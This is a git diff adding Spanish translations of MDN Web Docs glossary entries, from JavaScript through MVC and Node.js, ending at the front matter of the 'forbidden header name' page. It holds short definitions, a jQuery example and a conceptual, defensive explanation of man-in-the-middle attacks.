+<p>JavaScript se utiliza principalmente en el navegador, lo que permite a los desarrolladores manipular el contenido de la página web a través del {{Glossary("DOM")}}, manipular datos con {{Glossary("AJAX")}} y {{Glossary("IndexedDB")}}, dibujar gráficos con {{Glossary("canvas")}}, interactuar con el dispositivo que ejecuta el navegador a través de varias {{Glossary("API", "APIs")}} y más. JavaScript es uno de los lenguajes más utilizados en el mundo, debido al reciente crecimiento y mejora en el rendimiento de las {{Glossary("API", "APIs")}} disponibles en los navegadores.</p>
+
+<h2 id="Orígenes_e_Historia">Orígenes e Historia</h2>
+
+<p>Concebido como un lenguaje de lado del servidor por Brendan Eich (entonces empleado por Netscape Corporation), JavaScript pronto llegó a Netscape Navigator 2.0 en septiembre de 1995. JavaScript disfrutó de un éxito inmediato y {{Glossary("Microsoft Internet Explorer", "Internet Explorer 3.0")}} introdujo la compatibilidad con JavaScript con el nombre de JScript en agosto de 1996.</p>
+
+<p>En noviembre de 1996, Netscape comenzó a trabajar con ECMA International para hacer de JavaScript un estándar de la industria. Desde entonces, el JavaScript estandarizado se llama ECMAScript y se especifica en ECMA-262, cuya última edición (décima, ES2019) está disponible a partir de junio de 2019.</p>
+
+<p>Recientemente, la popularidad de JavaScript se ha expandido aún más gracias a la exitosa plataforma <a href="https://nodejs.org/" rel="external">Node.js</a>, el entorno de ejecución de JavaScript multiplataforma más popular fuera de el navegador. Node.js, creado con el <a href="https://en.wikipedia.org/wiki/V8_(JavaScript_engine)">motor de JavaScript V8 de Chrome</a> — permite a los desarrolladores utilizar JavaScript como lenguaje de programación para automatizar las cosas en una computadora y crear servidores {{Glossary("HTTP")}} y {{Glossary("Web Sockets")}} completamente funcionales.</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "JavaScript", "JavaScript")}} en Wikipedia</li>
+</ul>
+
+<h3 id="Aprende_JavaScript">Aprende JavaScript</h3>
+
+<ul>
+ <li>{{Link("/es/docs/Web/JavaScript/Guide")}} en MDN</li>
+ <li><a href="http://nodeschool.io/#workshoppers">El taller de "javascripting" en NodeSchool</a></li>
+ <li><a href="https://www.codecademy.com/tracks/javascript" rel="external">El curso de JavaScript en codecademy.com</a></li>
+ <li><a href="http://ejohn.org/apps/learn/" rel="external"><em>Aprendizaje avanzado de JavaScript</em></a> de John Resig</li>
+</ul>
+
+<h3 id="Referencia_técnica">Referencia técnica</h3>
+
+<ul>
+ <li><a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm" rel="external">El último estándar ECMAScript</a></li>
+ <li>{{Link("/es/docs/Web/JavaScript/referencia")}} en MDN</li>
+ <li><a href="http://eloquentjavascript.net/" rel="external">El libro <em>JavaScript elocuente</em></a></li>
+</ul>
diff --git a/files/es/glossary/jpeg/index.html b/files/es/glossary/jpeg/index.html
new file mode 100644
index 0000000000..e6d398fbc7
--- /dev/null
+++ b/files/es/glossary/jpeg/index.html
@@ -0,0 +1,14 @@
+---
+title: JPEG
+slug: Glossary/jpeg
+translation_of: Glossary/jpeg
+---
+<p><strong>JPEG</strong> (<em>Joint Photographic Experts Group</em>) es un método comúnmente utilizado en la compresión con pérdida de información en imágenes digitales.</p>
+
+<h2 id="Saber_más"><strong>Saber más</strong></h2>
+
+<h3 id="Conocimiento_general"><strong>Conocimiento general</strong></h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "JPEG")}} on Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/jquery/index.html b/files/es/glossary/jquery/index.html
new file mode 100644
index 0000000000..5ddba3d180
--- /dev/null
+++ b/files/es/glossary/jquery/index.html
@@ -0,0 +1,64 @@
+---
+title: jQuery
+slug: Glossary/jQuery
+tags:
+  - Glosario
+  - JQuery
+  - JavaScript
+translation_of: Glossary/jQuery
+---
+<p>jQuery es una {{Glossary("JavaScript")}} {{Glossary("Library")}} que se enfoca en simplificar la manipulación del {{Glossary("DOM")}}, llamadas {{Glossary("AJAX")}} y manejo de {{Glossary("Event")}}. Es utilizado por desarrolladores JavaScript de manera frecuente.</p>
+
+<p>jQUery usa un formato, <code>$(selector).action()</code> para asignar elementos a un evento. Para explicarlo con mayor detalle, <code>$(selector)</code> hara que jQuery seleccione los elementos <code>selector</code> y los asigne a un evento {{Glossary("API")}} llamado <code>.action()</code>.</p>
+
+<pre class="brush: js"><code class="language-js">$(document).ready(function(){
+  alert("¡Hola Mundo!");
+  $("#blackBox").hide();
+});</code></pre>
+
+<p>El código anterior es equivalente al siguiente:</p>
+
+<pre class="brush: js"><code class="language-js">window.onload = function() {
+  alert( "¡Hola Mundo!" );
+  document.getElementById("blackBox").style.display = "none";
+};</code></pre>
+
+<h2 id="Descargar_jQuery">Descargar jQuery</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><strong>npm</strong></th>
+   <th scope="col">bower (solo file)</th>
+   <th scope="col">Google CDN</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>npm install jquery</code></td>
+   <td><code>bower install https://code.jquery.com/jquery-3.2.1.min.js</code></td>
+   <td><code>https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "jQuery")}} en Wikipedia</li>
+ <li><a href="http://jquery.com/">Sitio oficial de jQuery</a></li>
+</ul>
+
+<h3 id="Aprende_jQuery">Aprende jQuery</h3>
+
+<ul>
+ <li><a href="https://www.codecademy.com/learn/jquery">Curso web en codeacademy.com</a></li>
+</ul>
+
+<h3 id="Información_técnica">Información técnica</h3>
+
+<ul>
+ <li><a href="https://api.jquery.com/">Documentación de referencia de la API</a><a href="https://api.jquery.com/"> </a></li>
+</ul>
diff --git a/files/es/glossary/json/index.html b/files/es/glossary/json/index.html
new file mode 100644
index 0000000000..5eee8bef0a
--- /dev/null
+++ b/files/es/glossary/json/index.html
@@ -0,0 +1,16 @@
+---
+title: JSON
+slug: Glossary/JSON
+tags:
+  - Glosario
+  - 'I10n:prioridad'
+  - JSON
+  - Script de codificación
+  - introducción
+translation_of: Glossary/JSON
+---
+<p><strong>JSON (notación de objetos javascript)</strong> es un formato de intercambio de datos. Es muy parecido a un subconjunto de sintaxis JavaScript, aunque no es un subconjunto en sentido estricto. (Ver JSON en la Referencia JavaScript para más detalles.) Aunque muchos lenguajes de programación lo soportan, JSON es especialmente útil al escribir cualquier tipo de aplicación basada en JavaScript, incluyendo sitios web y extensiones del navegador. Por ejemplo, es posible almacenar la información del usuario en formato JSON en una cookie o almacenar las preferencias de extensión en JSON en una cadena de valores de preferencias del navegador.<br>
+ <br>
+ JSON es capaz de representar números, valores lógicos, cadenas, valores nulos, arreglos y matrices (secuencias ordenadas de valores) y objetos (mapas de cadena de valores) compuestos de estos valores (o de otras matrices y objetos). JSON no representa de manera nativa tipos de datos más complejos como funciones, expresiones regulares, fechas, y así sucesivamente (en objetos de fecha serializados por defecto como una cadena que contiene la fecha en formato ISO, al no hacerlo de ida y vuelta, la información no se pierde por completo). Si se necesita que JSON represente tipos de datos adicionales, se puede transformar los valores, ya que son serializados, o antes de su deserialización.</p>
+
+<p>Más similar a XML, JSON tiene la capacidad de almacenar datos jerárquicos a diferencia del formato más tradicional CSV.  Muchas herramientas proveen la "traducción" entre esos formatos tales como  <a href="https://json-csv.com">JSON to CSV Converter</a>.</p>
diff --git a/files/es/glossary/keyword/index.html b/files/es/glossary/keyword/index.html
new file mode 100644
index 0000000000..549ea9ac95
--- /dev/null
+++ b/files/es/glossary/keyword/index.html
@@ -0,0 +1,22 @@
+---
+title: Palabra clave
+slug: Glossary/Keyword
+tags:
+  - Buscar
+  - Buscar palabra clave
+  - Glosario
+  - Palabra clave
+  - busqueda
+translation_of: Glossary/Keyword
+---
+<p id="Summary">Una <strong>palabra clave</strong> es una palabra o frase que describe contenido. Las palabras clave en línea se utilizan como consultas para los motores de búsqueda o como palabras que identifican el contenido de los sitios web.</p>
+
+<p>Cuando usas un motor de búsqueda, utilizas palabras clave para especificar lo que estás buscando y el motor de búsqueda devuelve páginas web relevantes. Para obtener resultados más precisos, prueba con palabras clave más específicas, como "Mustang GTO azul" en lugar de simplemente "Mustang".  Las páginas web también utilizan palabras clave en una etiqueta <code>&lt;meta&gt;</code> (en la sección {{htmlelement("head")}}) para describir el contenido de la página, de manera que los motores de búsqueda puedan identificar y organizar mejor las páginas web.</p>
+
+<h2 id="Aprende_más"><strong>Aprende más</strong></h2>
+
+<h3 id="Conocimientos_generales"><strong>Conocimientos generales</strong></h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Keyword_research", "Keyword")}} on Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/lgpl/index.html b/files/es/glossary/lgpl/index.html
new file mode 100644
index 0000000000..65b26228a7
--- /dev/null
+++ b/files/es/glossary/lgpl/index.html
@@ -0,0 +1,28 @@
+---
+title: LGPL
+slug: Glossary/LGPL
+tags:
+  - Compartir
+  - Free
+  - Free Software Foundation
+  - GNU
+  - GPL
+  - Licencia
+  - Open Source
+  - Software Libre
+translation_of: Glossary/LGPL
+---
+<p><em>LGPL </em>(GNU Lesser General Public License en español <strong>Licencia Pública General Reducida de GNU</strong>) es una licencia de software libre publicada por la <em>Free Software Foundation</em>. LGPL es una alternativa más permisiva que la estricta licencia <a href="/es/docs/Glossary/copyleft">copyleft</a> <a href="/es/docs/Glossary/GPL">GPL</a>.</p>
+
+<p>Esto supone que cualquier trabajo que use un elemento con licencia GPL <strong>tiene la obligación</strong> de ser publicado bajo las mismas condiciones (libre de usar, compartir, estudiar, y modificar). Por otro lado, LGPL solo requiere que los componentes derivados del elemento bajo LGPL continuen con esta licencia, y no el programa al completo.</p>
+
+<p>LGPL es usado habitualmente para licencias de componentes compartidos como por ejemplo librerías (<code>.dll</code>, <code>.so</code>, <code>.jar</code>, etc.).</p>
+
+<h2 id="Para_saber_más...">Para saber más...</h2>
+
+<h3 id="Cultura_General">Cultura General</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "GNU Lesser General Public License", "GNU LGPL")}} en Wikipedia</li>
+ <li><a href="http://www.gnu.org/copyleft/lesser.html">LGPL License</a> en gnu.org</li>
+</ul>
diff --git a/files/es/glossary/long_task/index.html b/files/es/glossary/long_task/index.html
new file mode 100644
index 0000000000..dacfa81eda
--- /dev/null
+++ b/files/es/glossary/long_task/index.html
@@ -0,0 +1,17 @@
+---
+title: Long task
+slug: Glossary/Long_task
+tags:
+  - Api de tareas largas
+  - Glosario
+  - Referencia
+  - Rendimiento Web
+translation_of: Glossary/Long_task
+---
+<p><span class="seoSummary">Una '<strong>long task'</strong> (tarea larga) es una tarea que tarda más de 50 ms en completarse. Es un período ininterrumpido en el que el subproceso de la interfaz de usuario principal está ocupado durante 50 ms o más. Los ejemplos comunes incluyen controladores de eventos de ejecución prolongada, <a href="/es/docs/Glossary/Reflow">reflujos</a> costosos y otras representaciones, y el trabajo que realiza el navegador entre diferentes turnos del bucle de eventos que supera los 50 ms.</span></p>
+
+<p id="See_Also">Ver también</p>
+
+<ul>
+ <li><a href="/es/docs/Web/API/Long_Tasks_API">API de tareas largas (Long task)</a></li>
+</ul>
diff --git a/files/es/glossary/metadato/index.html b/files/es/glossary/metadato/index.html
new file mode 100644
index 0000000000..dddb546b28
--- /dev/null
+++ b/files/es/glossary/metadato/index.html
@@ -0,0 +1,24 @@
+---
+title: Metadato
+slug: Glossary/Metadato
+tags:
+  - CodingScripting
+  - Glosario
+  - HTML
+translation_of: Glossary/Metadata
+---
+<p>Los<strong> metadatos </strong>son, en su definición más simple, datos que describen otros datos. Por ejemplo, un documento {{glossary("HTML")}} son datos, pero HTML también puede contener metadatos en su elemento {{htmlelement("head")}} que describe el documento, como por ejemplo, quién lo escribió y su resumen.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Metadatos", "Metadatos")}} en Wikipedia</li>
+</ul>
+
+<h3 id="HTML_metadata">HTML metadata</h3>
+
+<ul>
+ <li>The {{htmlelement("meta")}} element on MDN</li>
+</ul>
diff --git a/files/es/glossary/miga-de-pan/index.html b/files/es/glossary/miga-de-pan/index.html
new file mode 100644
index 0000000000..0fe4ade2f7
--- /dev/null
+++ b/files/es/glossary/miga-de-pan/index.html
@@ -0,0 +1,17 @@
+---
+title: Miga de pan
+slug: Glossary/miga-de-pan
+tags:
+  - Accesibilidad
+  - Glosario
+  - Miga de pan
+  - navegación
+translation_of: Glossary/Breadcrumb
+---
+<p><span class="seoSummary">Una <strong>miga de pan</strong>, o rastro de migas de pan, es una ayuda a la navegación que se sitúa normalmente entre la cabecera del sitio y el contenido principal y muestra, bien la jerarquía de la página actual en relación con la estructura del sitio desde el nivel superior o bien una lista de los enlaces utilizados para llegar a la página actual en el orden en que se han visitado. </span></p>
+
+<p>Una miga de pan para este documento se vería más o menos así:</p>
+
+<p><a href="/">MDN</a> &gt; <a href="/en-US/docs/Glossary/">Glosario</a> &gt; Miga de pan</p>
+
+<p>Los rastros de migas de pan permiten a los usuarios conocer su situación dentro de un sitio web. Este tipo de navegación, si se construye correctamente, ayuda a los usuarios a saber dónde están dentro del sitio y cómo han llegado hasta ahí. También pueden ayudar al usuario a volver a donde estaba anteriormente y pueden reducir el número de clics necesario para llegar a una página de nivel superior.</p>
diff --git a/files/es/glossary/mitm/index.html b/files/es/glossary/mitm/index.html
new file mode 100644
index 0000000000..e2b212bda0
--- /dev/null
+++ b/files/es/glossary/mitm/index.html
@@ -0,0 +1,29 @@
+---
+title: MitM
+slug: Glossary/MitM
+tags:
+  - Glosario
+  - Seguridad
+translation_of: Glossary/MitM
+---
+<p>Un ataque de Intermediario [<strong>Man-in-the-middle attack</strong> (MitM)] intercepta una comunicación entre dos sistemas. Por ejemplo, un router Wi-Fi puede estar en peligro.</p>
+
+<p>Comparémoslo con un correo físico: si usted está escribiendo una carta a una persona, el cartero puede interceptar cada carta que envíe. Ellos la abren, la leen y finalmente la modifican, y entonces la reempaquetan y solamente entonces la envían a los destinatarios que usted pretendió. El receptor original podría entonces contestarle y el cartero abriría de nuevo la carta, la leería y finalmente la modificaria, la reempaquetaría y se la da. Usted ignoraría que hay un hombre en medio de su canal de comunicación – el cartero es invisible para usted y para su destinatario.</p>
+
+<p>En el correo físico y en la comunicación online, los ataques MITM son difíciles de defender. Unos pocos consejos:</p>
+
+<ul>
+ <li>No ignore los certificados de advertencia. Podría estar conectándose a un servidor de <em>phising</em> o a un servidor falso.</li>
+ <li>Los sitios confidenciales sin encriptación HTTPS en redes públicas Wi-Fi no son dignas de confianza.</li>
+ <li>Compruebe que aparece HTTPS en su barra de direcciones y asegúrese de que la encriptación está activa antes de hacer <em>log-in</em>.</li>
+</ul>
+
+<div>
+<h2 id="Saber_más">Saber más</h2>
+
+<ul>
+ <li>OWASP Article: <a href="https://www.owasp.org/index.php/Man-in-the-middle_attack">Man-in-the-middle attack</a></li>
+ <li>Wikipedia: <a href="https://en.wikipedia.org/wiki/Man-in-the-middle_attack">Man-in-the-middle attack</a></li>
+ <li>El encabezamiento {{HTTPHeader("Public-Key-Pins")}} ({{Glossary("HPKP")}}) pude reducir considerablemente el riesgo de MITM pidiendo a los buscadores que requieran un certificado de lista blanca a las siguientes conexiones a esa website.</li>
+</ul>
+</div>
diff --git a/files/es/glossary/mixin/index.html b/files/es/glossary/mixin/index.html
new file mode 100644
index 0000000000..82336147de
--- /dev/null
+++ b/files/es/glossary/mixin/index.html
@@ -0,0 +1,34 @@
+---
+title: Mixin
+slug: Glossary/Mixin
+translation_of: Glossary/Mixin
+---
+<p>Un <em>mixin</em> es un conjunto coherente de {{glossary("method","métodos")}} y {{glossary("property","propiedades")}} implementadas por otras interfaces y {{glossary("class","clases")}}.</p>
+
+<p>Ejemplo</p>
+
+<p>@mixin nombre_del_mixin{</p>
+
+<p>    width: 100% ;</p>
+
+<p>}</p>
+
+<p>La forma más común de llamar a un mixin y aplicar esas propiedades y métodos es el <em>include</em> (ejemplo @include nombre_del_mixin ). Al utilizar el <em>include</em> para llamar las propiedades y métodos incluidos en el mixin, son entonces parte de la nueva interfaz.</p>
+
+<p class="hidden"><strong>Esa definición es un poco confusa. Propongo que reemplazamos ésto con:</strong> Un mixin es una clase u objeto que contiene uno o más {{glossary("method","métodos")}} y/o {{glossary("property","propiedades")}} implementadas por otra {{glossary("interface")}} o {{glossary("class","clase")}}. Las propiedades y los métodos son entonces parte de la nueva interfaz o clase y se utilizan simplemente como un definido explícitamente por la clase o interfaz.</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li><a class="external external-icon" href="http://es.wikipedia.org/wiki/Mixin">Mixin</a> en Wikipedia</li>
+</ul>
+
+<h3 id="Referencia_técnica">Referencia técnica</h3>
+
+<ul>
+ <li>Ejemplo de mixin: <a href="/es/docs/Web/API/Body">Body</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/es/glossary/mobile_first/index.html b/files/es/glossary/mobile_first/index.html
new file mode 100644
index 0000000000..3543c015f8
--- /dev/null
+++ b/files/es/glossary/mobile_first/index.html
@@ -0,0 +1,10 @@
+---
+title: Mobile First
+slug: Glossary/Mobile_First
+tags:
+  - Diseño
+  - Diseño móvil
+  - Glosario
+translation_of: Glossary/Mobile_First
+---
+<p><strong>Mobile first</strong>, una forma de {{Glossary("mejora progresiva")}}, es un enfoque de desarrollo y diseño web que se enfoca en la priorización del diseño y el desarrollo para dispositivos móviles por encima del diseño y desarrollo para pantallas de escritorio. El fundamento detrás del enfoque "mobile-first" es proveer al usuario una buena experiencia para todos los tamaños de pantalla—empezando por una experiencia de usuario que funcione bien para dispositivos pequeños, para posteriormente, basada en dicha experiencia, continuar desarrollando para enriquecer la experiencia de usuario conforme el tamaño de pantalla es mayor. El enfoque "mobile-first" contrasta con el antiguo enfoque de diseño para escritorio en el que se pensaba primero en el diseño/desarrollo para tamaños de pantalla de escritorio y posteriormente se realizaban ajustes para conseguir que dichos diseños y desarrollos funcionases correctamente en dispositivos móbilies.</p>
diff --git a/files/es/glossary/mozilla_firefox/index.html b/files/es/glossary/mozilla_firefox/index.html
new file mode 100644
index 0000000000..921fe3f62a
--- /dev/null
+++ b/files/es/glossary/mozilla_firefox/index.html
@@ -0,0 +1,30 @@
+---
+title: Mozilla Firefox
+slug: Glossary/Mozilla_Firefox
+tags:
+  - Glosario
+  - Infraestructura
+  - Mozilla
+  - Mozilla Firefox
+  - Navegador
+translation_of: Glossary/Mozilla_Firefox
+---
+<p><span style="line-height: 1.5;">Mozilla Firefox es un {{Glossary("navegador")}} gratuito de codigo abierto cuyo desarrollo es supervisado por Mozilla Corporation. Firefox functiona sobre Windows, OS X, Linus y Android.</span></p>
+
+<p><span style="line-height: 1.5;">First released in November 2004, Firefox is completely customizable with themes, plug-ins, and <a href="https://developer.mozilla.org/en-US/Add-ons">add-ons</a>.  Firefox uses {{glossary("Gecko")}} to render webpages, and implements both current and upcoming Web standards.</span></p>
+
+<p><span style="line-height: 1.5;">Lanzado en Noviembre del 2014, Firefox es completamente personalizable con temas y <a href="https://developer.mozilla.org/es/Add-ons">complementos</a>. Firefox usa {{glossary("Gecko")}} para renderizar paginas webs, e implementa tanto actuales como próximos estandares Web.</span></p>
+
+<h2 id="Aprende_más"><span style="line-height: 1.5;">Aprende más</span></h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li><a href="https://www.firefox.com/">Sitio oficial de Mozilla Firefox</a></li>
+</ul>
+
+<h3 id="Referencias_técnicas">Referencias técnicas</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/Firefox">Documentación/Información para desarrolladores en MDN</a></li>
+</ul>
diff --git a/files/es/glossary/mvc/index.html b/files/es/glossary/mvc/index.html
new file mode 100644
index 0000000000..49819a1eab
--- /dev/null
+++ b/files/es/glossary/mvc/index.html
@@ -0,0 +1,54 @@
+---
+title: MVC
+slug: Glossary/MVC
+translation_of: Glossary/MVC
+---
+<p><strong>MVC</strong> (Modelo-Vista-Controlador) es un patrón en el diseño de software comúnmente utilizado para implementar interfaces de usuario, datos y lógica de control. Enfatiza una separación entre la lógica de negocios y su visualización. Esta "separación de preocupaciones" proporciona una mejor división del trabajo y una mejora de mantenimiento. Algunos otros patrones de diseño se basan en MVC, como MVVM (Modelo-Vista-modelo de vista), MVP (Modelo-Vista-Presentador) y MVW (Modelo-Vista-Whatever).</p>
+
+<p>Las tres partes del patrón de diseño de software MVC se pueden describir de la siguiente manera:</p>
+
+<ol>
+ <li>Modelo: Maneja datos y lógica de negocios.</li>
+ <li><span style="font-size: 1rem; letter-spacing: -0.00278rem;">Vista: Se encarga del diseño y presentación.</span></li>
+ <li><span style="font-size: 1rem; letter-spacing: -0.00278rem;">Controlador: Enruta comandos a los modelos y vistas.</span></li>
+</ol>
+
+<h2 id="Modelo_Vista_Controlador_ejemplo">Modelo Vista Controlador ejemplo</h2>
+
+<p>Imagine una sencilla aplicación de lista de compras. Todo lo que queremos es una lista del nombre, la cantidad y el precio de cada artículo que necesitamos comprar esta semana. A continuación describiremos cómo podríamos implementar parte de esta funcionalidad usando MVC.<img alt="Diagram to show the different parts of the mvc architecture." src="https://mdn.mozillademos.org/files/16042/model-view-controller-light-blue.png" style="height: 1500px; width: 2000px;"></p>
+
+<h3 id="Modelo">Modelo</h3>
+
+<p>El modelo define qué datos debe contener la aplicación. Si el estado de estos datos cambia, el modelo generalmente notificará a la vista (para que la pantalla pueda cambiar según sea necesario) y, a veces, el controlador (si se necesita una lógica diferente para controlar la vista actualizada).</p>
+
+<p>Volviendo a nuestra aplicación de lista de compras, el modelo especificará qué datos deben contener los artículos de la lista (artículo, precio, etc.) y qué artículos de la lista ya están presentes.</p>
+
+<h3 id="Vista">Vista</h3>
+
+<p>La vista define cómo se deben mostrar los datos de la aplicación.</p>
+
+<p>En nuestra aplicación de lista de compras, la vista definiría cómo se presenta la lista al usuario y recibiría los datos para mostrar desde el modelo.</p>
+
+<h3 id="Controlador">Controlador</h3>
+
+<p>El controlador contiene una lógica que actualiza el modelo y / o vista en respuesta a las entradas de los usuarios de la aplicación.</p>
+
+<p>Entonces, por ejemplo, nuestra lista de compras podría tener formularios de entrada y botones que nos permitan agregar o eliminar artículos. Estas acciones requieren que se actualice el modelo, por lo que la entrada se envía al controlador, que luego manipula el modelo según corresponda, que luego envía datos actualizados a la vista.</p>
+
+<p>Sin embargo, es posible que también se desee actualizar la vista para mostrar los datos en un formato diferente, por ejemplo, cambiar el orden de los artículos de menor a mayor precio o en orden alfabético. En este caso, el controlador podría manejar esto directamente sin necesidad de actualizar el modelo.</p>
+
+<h2 id="MVC_en_la_web">MVC en la web</h2>
+
+<p>Como desarrollador web, este patrón probablemente será bastante familiar, incluso si nunca lo has usado conscientemente antes. Su modelo de datos probablemente esté contenido en algún tipo de base de datos (ya sea una base de datos tradicional del lado del servidor como MySQL, o una solución del lado del cliente como IndexedDB). El código de control de su aplicación probablemente esté escrito en HTML / JavaScript , y su interfaz de usuario probablemente esté escrita usando HTML / CSS / o lo que sea. Esto se parece mucho a MVC, pero MVC hace que estos componentes sigan un patrón más rígido.</p>
+
+<p>En los primeros días de la Web, la arquitectura MVC se implementó principalmente en el lado del servidor, con el cliente solicitando actualizaciones a través de formularios o enlaces, y recibiendo vistas actualizadas para mostrar en el navegador. Sin embargo, en estos días, mucha de la lógica se enviaba al cliente con la llegada de los almacenes de datos del lado del cliente, y XMLHttpRequest permitía actualizaciones parciales de la página según era necesario.</p>
+
+<p>Los frameworks de desarrollo web como AngularJS y Ember.js implementan una arquitectura MVC, aunque de maneras ligeramente diferentes.</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Model–view–controller")}} on Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/método/index.html b/files/es/glossary/método/index.html
new file mode 100644
index 0000000000..b0539a9474
--- /dev/null
+++ b/files/es/glossary/método/index.html
@@ -0,0 +1,28 @@
+---
+title: Método
+slug: Glossary/Método
+tags:
+  - Glosario
+  - JavaScript
+translation_of: Glossary/Method
+---
+<p>Un <strong>metodo</strong> es una {{glossary("function", "función")}} la cual es {{glossary("property", "propiedad")}} de un {{glossary("Objecto", "Objeto")}}. Existen dos tipos de métodos: <em>Métodos de Instancia</em> los cuales son tareas integradas realizadas por la instacia de un objeto, y los <em>Métodos Estáticos </em>que son tareas que pueden ser llamadas directamente en el constructor de un objeto.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> En JavaScript las funciones en si son objectos, asi que, en ese contexto, un método es de hecho un {{glossary("Object Reference", "objeto de referencia")}} a una función.</p>
+</div>
+
+<h2 id="Aprender_más">Aprender más</h2>
+
+<h3 id="Aprender_acerca_de_esto">Aprender acerca de esto</h3>
+
+<ul>
+ <li>{{InterWiki("wikipedia","Método (informática)")}} en Wikipedia</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">Definiendo un método en JavaScript</a> (comparacion de la sintaxis tradicionas y la nueva abreviación)</li>
+</ul>
+
+<h3 id="Referencia_Técnica">Referencia Técnica</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Methods_Index">Lista de los métodos integrados de JavaScript</a></li>
+</ul>
diff --git a/files/es/glossary/node.js/index.html b/files/es/glossary/node.js/index.html
new file mode 100644
index 0000000000..6e657100ac
--- /dev/null
+++ b/files/es/glossary/node.js/index.html
@@ -0,0 +1,27 @@
+---
+title: Node.js
+slug: Glossary/Node.js
+tags:
+  - Glosario
+  - Infraestructura
+  - JavaScript
+  - node.js
+translation_of: Glossary/Node.js
+---
+<p>Node.js es un entorno de ejecucion multiplataforma en {{Glossary("JavaScript")}} que permite a los desarrolladores construir aplicaciones del lado del servidor y de red con JavaScript.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<p><span style="">Conocimientos generales</span></p>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Node.js")}} en Wikipedia</li>
+ <li><a href="https://nodejs.org/">Sitio web de</a> <a href="https://nodejs.org/">Node.js</a></li>
+</ul>
+
+<h3 id="Información_técnica">Información técnica</h3>
+
+<ul>
+ <li><a href="https://nodejs.org/api/">Documentacion de referencia de la API</a></li>
+ <li><a href="https://nodejs.org/documentation/tutorials/">Tutoriales</a></li>
+</ul>
diff --git a/files/es/glossary/node/dom/index.html b/files/es/glossary/node/dom/index.html
new file mode 100644
index 0000000000..ab70390e89
--- /dev/null
+++ b/files/es/glossary/node/dom/index.html
@@ -0,0 +1,14 @@
+---
+title: Node (DOM)
+slug: Glossary/Node/DOM
+translation_of: Glossary/Node/DOM
+---
+<p>En el contexto del {{Glossary("DOM")}}, un <strong>nodo</strong> es un único punto en el arbol de nodos. Los nodos pueden ser varias cosas el documento mismo, elementos, texto y comentarios.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Referencia_técnica">Referencia técnica</h3>
+
+<ul>
+ <li>El <a href="https://dom.spec.whatwg.org/#concept-node">node tree</a> WHATWG spec</li>
+</ul>
diff --git a/files/es/glossary/node/index.html b/files/es/glossary/node/index.html
new file mode 100644
index 0000000000..b2756ff969
--- /dev/null
+++ b/files/es/glossary/node/index.html
@@ -0,0 +1,13 @@
+---
+title: Node
+slug: Glossary/Node
+tags:
+  - Desambiguación
+  - Glosario
+translation_of: Glossary/Node
+---
+<p>El término <strong>nodo</strong> puede tener varios significados según el contexto. Puede referirse a:</p>
+
+<p>{{GlossaryDisambiguation}}</p>
+
+<p>Otro uso de la palabra es cuando se habla de {{Glossary("Node.js")}}</p>
diff --git a/files/es/glossary/nombre_de_dominio/index.html b/files/es/glossary/nombre_de_dominio/index.html
new file mode 100644
index 0000000000..e2c9e01c16
--- /dev/null
+++ b/files/es/glossary/nombre_de_dominio/index.html
@@ -0,0 +1,15 @@
+---
+title: Nombre de dominio
+slug: Glossary/Nombre_de_dominio
+translation_of: Glossary/Domain_name
+---
+<p>Un nombre de dominio es la dirección de un sitio web en {{Glossary("Internet")}}. Los nombres de dominio se utilizan en {{Glossary("URL","URLs")}} para identificar a qué servidor pertenece una página web específica. El nombre de dominio consiste en una secuencia jerárquica de nombres (etiquetas) separados por puntos y que terminan con una {{glossary("TLD","extensión")}}.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimientos_generales"><strong>Conocimientos generales</strong></h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Dominio_de_Internet", "Dominio de Internet")}} en Wikipedia</li>
+ <li><a href="/en-US/Learn/Understanding_domain_names">Entendiendo los nombres de los dominios</a></li>
+</ul>
diff --git a/files/es/glossary/nombre_de_encabezado_prohibido/index.html b/files/es/glossary/nombre_de_encabezado_prohibido/index.html
new file mode 100644
index 0000000000..e2f16bbecf
--- /dev/null
+++ b/files/es/glossary/nombre_de_encabezado_prohibido/index.html
@@ -0,0 +1,47 @@
+---
+title: Nombre de encabezado prohibido
+slug: Glossary/Nombre_de_encabezado_prohibido
+tags:
+  - Encabezados
+  - Fetch
+  - Glosario
+  - HTTP
+  - prohibido
+translation_of: Glossary/Forbidden_header_name
+---
